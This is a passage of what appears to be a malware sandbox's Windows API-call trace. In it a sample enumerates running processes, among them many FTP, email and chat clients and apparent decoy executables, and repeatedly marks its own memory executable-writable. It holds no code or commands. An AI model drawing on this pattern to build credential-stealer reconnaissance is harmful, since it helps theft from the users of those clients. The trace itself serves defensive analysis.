dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.117] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.118] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.131] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.132] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.132] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.133] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.133] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.138] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.139] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.139] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.140] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.141] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.142] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.142] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.144] VirtualAlloc (lpAddress=0x1fd34000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd34000 [0166.145] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x330, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.145] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.146] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.146] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.147] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.148] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0166.148] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x364, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0166.149] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0166.150] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="insert_greenhouse_ks.exe")) returned 1 [0166.150] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="kate.exe")) returned 1 [0166.151] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="arthur foto.exe")) returned 1 [0166.151] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="incentives.exe")) returned 1 [0166.152] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="becamealbertacreates.exe")) returned 1 [0166.152] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="finally_disable_largely.exe")) returned 1 [0166.153] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="submit.exe")) returned 1 [0166.154] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="quilt.exe")) returned 1 [0166.154] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="schemealtwist.exe")) returned 1 [0166.154] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dealervampire.exe")) returned 1 [0166.155] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="exhibitions.exe")) returned 1 [0166.155] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beneficialceramiccommodity.exe")) returned 1 [0166.156] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="loansthou.exe")) returned 1 [0166.156] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="agencies.exe")) returned 1 [0166.157] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="gross-mails.exe")) returned 1 [0166.158] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="frederick.exe")) returned 1 [0166.158] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0166.158] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0166.159] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0166.159] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0166.160] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0166.160] VirtualAlloc (lpAddress=0x1fd38000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd38000 [0166.161] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x670, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0166.161] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0166.162] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0166.163] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0166.163] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0166.164] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0166.164] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0166.165] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0166.166] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0166.166] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0166.167] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0166.168] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0166.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.174] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0166.174] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0166.175] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0166.176] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0166.177] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0166.178] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0166.178] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0166.179] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0166.180] Process32NextW (in: hSnapshot=0x628, lppe=0x1e7dfa00 | out: lppe=0x1e7dfa00*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0166.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, 